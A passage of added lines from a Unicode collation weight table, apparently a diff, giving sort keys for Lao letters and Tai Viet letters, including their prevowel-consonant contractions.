+0EC1 0E96 ; [.2DBF.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER THO SUNG>
+0EC2 0E96 ; [.2DBF.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER THO SUNG>
+0EC3 0E96 ; [.2DBF.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER THO SUNG>
+0EC4 0E96 ; [.2DBF.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER THO SUNG>
+0E97  ; [.2DC0.0020.0002] # LAO LETTER THO TAM
+0EC0 0E97 ; [.2DC0.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER THO TAM>
+0EC1 0E97 ; [.2DC0.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER THO TAM>
+0EC2 0E97 ; [.2DC0.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER THO TAM>
+0EC3 0E97 ; [.2DC0.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER THO TAM>
+0EC4 0E97 ; [.2DC0.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER THO TAM>
+0E99  ; [.2DC1.0020.0002] # LAO LETTER NO
+0EC0 0E99 ; [.2DC1.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER NO>
+0EC1 0E99 ; [.2DC1.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER NO>
+0EC2 0E99 ; [.2DC1.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER NO>
+0EC3 0E99 ; [.2DC1.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER NO>
+0EC4 0E99 ; [.2DC1.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER NO>
+0E9A  ; [.2DC2.0020.0002] # LAO LETTER BO
+0EC0 0E9A ; [.2DC2.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER BO>
+0EC1 0E9A ; [.2DC2.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER BO>
+0EC2 0E9A ; [.2DC2.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER BO>
+0EC3 0E9A ; [.2DC2.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER BO>
+0EC4 0E9A ; [.2DC2.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER BO>
+0E9B  ; [.2DC3.0020.0002] # LAO LETTER PO
+0EC0 0E9B ; [.2DC3.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER PO>
+0EC1 0E9B ; [.2DC3.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER PO>
+0EC2 0E9B ; [.2DC3.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER PO>
+0EC3 0E9B ; [.2DC3.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER PO>
+0EC4 0E9B ; [.2DC3.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER PO>
+0E9C  ; [.2DC4.0020.0002] # LAO LETTER PHO SUNG
+0EC0 0E9C ; [.2DC4.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER PHO SUNG>
+0EC1 0E9C ; [.2DC4.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER PHO SUNG>
+0EC2 0E9C ; [.2DC4.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER PHO SUNG>
+0EC3 0E9C ; [.2DC4.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER PHO SUNG>
+0EC4 0E9C ; [.2DC4.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER PHO SUNG>
+0E9D  ; [.2DC5.0020.0002] # LAO LETTER FO TAM
+0EC0 0E9D ; [.2DC5.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER FO TAM>
+0EC1 0E9D ; [.2DC5.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER FO TAM>
+0EC2 0E9D ; [.2DC5.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER FO TAM>
+0EC3 0E9D ; [.2DC5.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER FO TAM>
+0EC4 0E9D ; [.2DC5.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER FO TAM>
+0E9E  ; [.2DC6.0020.0002] # LAO LETTER PHO TAM
+0EC0 0E9E ; [.2DC6.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER PHO TAM>
+0EC1 0E9E ; [.2DC6.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER PHO TAM>
+0EC2 0E9E ; [.2DC6.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER PHO TAM>
+0EC3 0E9E ; [.2DC6.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER PHO TAM>
+0EC4 0E9E ; [.2DC6.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER PHO TAM>
+0E9F  ; [.2DC7.0020.0002] # LAO LETTER FO SUNG
+0EC0 0E9F ; [.2DC7.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER FO SUNG>
+0EC1 0E9F ; [.2DC7.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER FO SUNG>
+0EC2 0E9F ; [.2DC7.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER FO SUNG>
+0EC3 0E9F ; [.2DC7.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER FO SUNG>
+0EC4 0E9F ; [.2DC7.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER FO SUNG>
+0EA1  ; [.2DC8.0020.0002] # LAO LETTER MO
+0EC0 0EA1 ; [.2DC8.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER MO>
+0EC1 0EA1 ; [.2DC8.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER MO>
+0EC2 0EA1 ; [.2DC8.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER MO>
+0EC3 0EA1 ; [.2DC8.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER MO>
+0EC4 0EA1 ; [.2DC8.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER MO>
+0EA2  ; [.2DC9.0020.0002] # LAO LETTER YO
+0EC0 0EA2 ; [.2DC9.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER YO>
+0EC1 0EA2 ; [.2DC9.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER YO>
+0EC2 0EA2 ; [.2DC9.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER YO>
+0EC3 0EA2 ; [.2DC9.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER YO>
+0EC4 0EA2 ; [.2DC9.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER YO>
+0EA3  ; [.2DCA.0020.0002] # LAO LETTER LO LING
+0EC0 0EA3 ; [.2DCA.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER LO LING>
+0EC1 0EA3 ; [.2DCA.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER LO LING>
+0EC2 0EA3 ; [.2DCA.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER LO LING>
+0EC3 0EA3 ; [.2DCA.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER LO LING>
+0EC4 0EA3 ; [.2DCA.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER LO LING>
+0EA5  ; [.2DCB.0020.0002] # LAO LETTER LO LOOT
+0EC0 0EA5 ; [.2DCB.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER LO LOOT>
+0EC1 0EA5 ; [.2DCB.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER LO LOOT>
+0EC2 0EA5 ; [.2DCB.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER LO LOOT>
+0EC3 0EA5 ; [.2DCB.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER LO LOOT>
+0EC4 0EA5 ; [.2DCB.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER LO LOOT>
+0EA7  ; [.2DCC.0020.0002] # LAO LETTER WO
+0EC0 0EA7 ; [.2DCC.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER WO>
+0EC1 0EA7 ; [.2DCC.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER WO>
+0EC2 0EA7 ; [.2DCC.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER WO>
+0EC3 0EA7 ; [.2DCC.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER WO>
+0EC4 0EA7 ; [.2DCC.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER WO>
+0EAB  ; [.2DCD.0020.0002] # LAO LETTER HO SUNG
+0EDC  ; [.2DCD.0020.0004][.2DC1.0020.0004] # LAO HO NO
+0EC0 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO HO NO>
+0EC1 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO HO NO>
+0EC2 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO HO NO>
+0EC3 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO HO NO>
+0EC4 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO HO NO>
+0EDD  ; [.2DCD.0020.0004][.2DC8.0020.0004] # LAO HO MO
+0EC0 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO HO MO>
+0EC1 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO HO MO>
+0EC2 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO HO MO>
+0EC3 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO HO MO>
+0EC4 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO HO MO>
+0EC0 0EAB ; [.2DCD.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER HO SUNG>
+0EC1 0EAB ; [.2DCD.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER HO SUNG>
+0EC2 0EAB ; [.2DCD.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER HO SUNG>
+0EC3 0EAB ; [.2DCD.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER HO SUNG>
+0EC4 0EAB ; [.2DCD.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER HO SUNG>
+0EAD  ; [.2DCE.0020.0002] # LAO LETTER O
+0EC0 0EAD ; [.2DCE.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER O>
+0EC1 0EAD ; [.2DCE.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER O>
+0EC2 0EAD ; [.2DCE.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER O>
+0EC3 0EAD ; [.2DCE.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER O>
+0EC4 0EAD ; [.2DCE.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER O>
+0EAE  ; [.2DCF.0020.0002] # LAO LETTER HO TAM
+0EC0 0EAE ; [.2DCF.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER HO TAM>
+0EC1 0EAE ; [.2DCF.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER HO TAM>
+0EC2 0EAE ; [.2DCF.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER HO TAM>
+0EC3 0EAE ; [.2DCF.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER HO TAM>
+0EC4 0EAE ; [.2DCF.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER HO TAM>
+0EAF  ; [.2DD0.0020.0002] # LAO ELLIPSIS
+0EB0  ; [.2DD1.0020.0002] # LAO VOWEL SIGN A
+0EB1  ; [.2DD2.0020.0002] # LAO VOWEL SIGN MAI KAN
+0EB2  ; [.2DD3.0020.0002] # LAO VOWEL SIGN AA
+0EB3  ; [.2DD4.0020.0002] # LAO VOWEL SIGN AM
+0ECD 0EB2 ; [.2DD4.0020.0002] # LAO VOWEL SIGN AM
+0EB4  ; [.2DD5.0020.0002] # LAO VOWEL SIGN I
+0EB5  ; [.2DD6.0020.0002] # LAO VOWEL SIGN II
+0EB6  ; [.2DD7.0020.0002] # LAO VOWEL SIGN Y
+0EB7  ; [.2DD8.0020.0002] # LAO VOWEL SIGN YY
+0EB8  ; [.2DD9.0020.0002] # LAO VOWEL SIGN U
+0EB9  ; [.2DDA.0020.0002] # LAO VOWEL SIGN UU
+0EBB  ; [.2DDB.0020.0002] # LAO VOWEL SIGN MAI KON
+0EBC  ; [.2DDC.0020.0002] # LAO SEMIVOWEL SIGN LO
+0EBD  ; [.2DDD.0020.0002] # LAO SEMIVOWEL SIGN NYO
+0EC0  ; [.2DDE.0020.0002] # LAO VOWEL SIGN E
+0EC1  ; [.2DDF.0020.0002] # LAO VOWEL SIGN EI
+0EC2  ; [.2DE0.0020.0002] # LAO VOWEL SIGN O
+0EC3  ; [.2DE1.0020.0002] # LAO VOWEL SIGN AY
+0EC4  ; [.2DE2.0020.0002] # LAO VOWEL SIGN AI
+AA80  ; [.2DE3.0020.0002] # TAI VIET LETTER LOW KO
+AAB5 AA80 ; [.2DE3.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW KO>
+AAB6 AA80 ; [.2DE3.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW KO>
+AAB9 AA80 ; [.2DE3.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW KO>
+AABB AA80 ; [.2DE3.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW KO>
+AABC AA80 ; [.2DE3.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW KO>
+AA81  ; [.2DE4.0020.0002] # TAI VIET LETTER HIGH KO
+AAB5 AA81 ; [.2DE4.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH KO>
+AAB6 AA81 ; [.2DE4.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH KO>
+AAB9 AA81 ; [.2DE4.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH KO>
+AABB AA81 ; [.2DE4.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH KO>
+AABC AA81 ; [.2DE4.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH KO>
+AA82  ; [.2DE5.0020.0002] # TAI VIET LETTER LOW KHO
+AAB5 AA82 ; [.2DE5.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW KHO>
+AAB6 AA82 ; [.2DE5.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW KHO>
+AAB9 AA82 ; [.2DE5.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW KHO>
+AABB AA82 ; [.2DE5.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW KHO>
+AABC AA82 ; [.2DE5.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW KHO>
+AA83  ; [.2DE6.0020.0002] # TAI VIET LETTER HIGH KHO
+AAB5 AA83 ; [.2DE6.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH KHO>
+AAB6 AA83 ; [.2DE6.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH KHO>
+AAB9 AA83 ; [.2DE6.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH KHO>
+AABB AA83 ; [.2DE6.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH KHO>
+AABC AA83 ; [.2DE6.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH KHO>
+AA84  ; [.2DE7.0020.0002] # TAI VIET LETTER LOW KHHO
+AAB5 AA84 ; [.2DE7.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW KHHO>
+AAB6 AA84 ; [.2DE7.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW KHHO>
+AAB9 AA84 ; [.2DE7.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW KHHO>
+AABB AA84 ; [.2DE7.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW KHHO>
+AABC AA84 ; [.2DE7.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW KHHO>
+AA85  ; [.2DE8.0020.0002] # TAI VIET LETTER HIGH KHHO
+AAB5 AA85 ; [.2DE8.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH KHHO>
+AAB6 AA85 ; [.2DE8.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH KHHO>
+AAB9 AA85 ; [.2DE8.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH KHHO>
+AABB AA85 ; [.2DE8.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH KHHO>
+AABC AA85 ; [.2DE8.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH KHHO>
+AA86  ; [.2DE9.0020.0002] # TAI VIET LETTER LOW GO
+AAB5 AA86 ; [.2DE9.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW GO>
+AAB6 AA86 ; [.2DE9.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW GO>
+AAB9 AA86 ; [.2DE9.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW GO>
+AABB AA86 ; [.2DE9.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW GO>
+AABC AA86 ; [.2DE9.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW GO>
+AA87  ; [.2DEA.0020.0002] # TAI VIET LETTER HIGH GO
+AAB5 AA87 ; [.2DEA.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH GO>
+AAB6 AA87 ; [.2DEA.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH GO>
+AAB9 AA87 ; [.2DEA.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH GO>
+AABB AA87 ; [.2DEA.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH GO>
+AABC AA87 ; [.2DEA.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH GO>
+AA88  ; [.2DEB.0020.0002] # TAI VIET LETTER LOW NGO
+AAB5 AA88 ; [.2DEB.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW NGO>
+AAB6 AA88 ; [.2DEB.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW NGO>
+AAB9 AA88 ; [.2DEB.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW NGO>
+AABB AA88 ; [.2DEB.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW NGO>
+AABC AA88 ; [.2DEB.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW NGO>
+AA89  ; [.2DEC.0020.0002] # TAI VIET LETTER HIGH NGO
+AAB5 AA89 ; [.2DEC.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH NGO>
+AAB6 AA89 ; [.2DEC.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH NGO>
+AAB9 AA89 ; [.2DEC.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH NGO>
+AABB AA89 ; [.2DEC.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH NGO>
+AABC AA89 ; [.2DEC.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH NGO>
+AA8A  ; [.2DED.0020.0002] # TAI VIET LETTER LOW CO
+AAB5 AA8A ; [.2DED.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW CO>
+AAB6 AA8A ; [.2DED.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW CO>
+AAB9 AA8A ; [.2DED.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW CO>
+AABB AA8A ; [.2DED.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW CO>
+AABC AA8A ; [.2DED.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW CO>
+AA8B  ; [.2DEE.0020.0002] # TAI VIET LETTER HIGH CO
+AAB5 AA8B ; [.2DEE.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH CO>
+AAB6 AA8B ; [.2DEE.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH CO>
+AAB9 AA8B ; [.2DEE.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH CO>
+AABB AA8B ; [.2DEE.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH CO>
+AABC AA8B ; [.2DEE.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH CO>
+AA8C  ; [.2DEF.0020.0002] # TAI VIET LETTER LOW CHO
+AAB5 AA8C ; [.2DEF.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW CHO>
+AAB6 AA8C ; [.2DEF.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW CHO>
+AAB9 AA8C ; [.2DEF.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW CHO>
+AABB AA8C ; [.2DEF.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW CHO>
+AABC AA8C ; [.2DEF.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW CHO>
+AA8D  ; [.2DF0.0020.0002] # TAI VIET LETTER HIGH CHO
+AAB5 AA8D ; [.2DF0.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH CHO>
+AAB6 AA8D ; [.2DF0.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH CHO>
+AAB9 AA8D ; [.2DF0.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH CHO>
+AABB AA8D ; [.2DF0.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH CHO>
+AABC AA8D ; [.2DF0.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH CHO>
+AA8E  ; [.2DF1.0020.0002] # TAI VIET LETTER LOW SO
+AAB5 AA8E ; [.2DF1.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW SO>
+AAB6 AA8E ; [.2DF1.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW SO>
+AAB9 AA8E ; [.2DF1.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW SO>
+AABB AA8E ; [.2DF1.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW SO>
+AABC AA8E ; [.2DF1.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW SO>
+AA8F  ; [.2DF2.0020.0002] # TAI VIET LETTER HIGH SO
+AAB5 AA8F ; [.2DF2.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH SO>
+AAB6 AA8F ; [.2DF2.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH SO>
+AAB9 AA8F ; [.2DF2.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH SO>
+AABB AA8F ; [.2DF2.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH SO>
+AABC AA8F ; [.2DF2.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH SO>
+AA90  ; [.2DF3.0020.0002] # TAI VIET LETTER LOW NYO
+AAB5 AA90 ; [.2DF3.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW NYO>
+AAB6 AA90 ; [.2DF3.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW NYO>
+AAB9 AA90 ; [.2DF3.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW NYO>
+AABB AA90 ; [.2DF3.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER LOW NYO>
+AABC AA90 ; [.2DF3.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER LOW NYO>
+AA91  ; [.2DF4.0020.0002] # TAI VIET LETTER HIGH NYO
+AAB5 AA91 ; [.2DF4.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER HIGH NYO>
+AAB6 AA91 ; [.2DF4.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER HIGH NYO>
+AAB9 AA91 ; [.2DF4.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER HIGH NYO>
+AABB AA91 ; [.2DF4.0020.0002][.2E1E.0020.0002] # <TAI VIET VOWEL AUE, TAI VIET LETTER HIGH NYO>
+AABC AA91 ; [.2DF4.0020.0002][.2E1F.0020.0002] # <TAI VIET VOWEL AY, TAI VIET LETTER HIGH NYO>
+AA92  ; [.2DF5.0020.0002] # TAI VIET LETTER LOW DO
+AAB5 AA92 ; [.2DF5.0020.0002][.2E18.0020.0002] # <TAI VIET VOWEL E, TAI VIET LETTER LOW DO>
+AAB6 AA92 ; [.2DF5.0020.0002][.2E19.0020.0002] # <TAI VIET VOWEL O, TAI VIET LETTER LOW DO>
+AAB9 AA92 ; [.2DF5.0020.0002][.2E1C.0020.0002] # <TAI VIET VOWEL UEA, TAI VIET LETTER LOW DO>
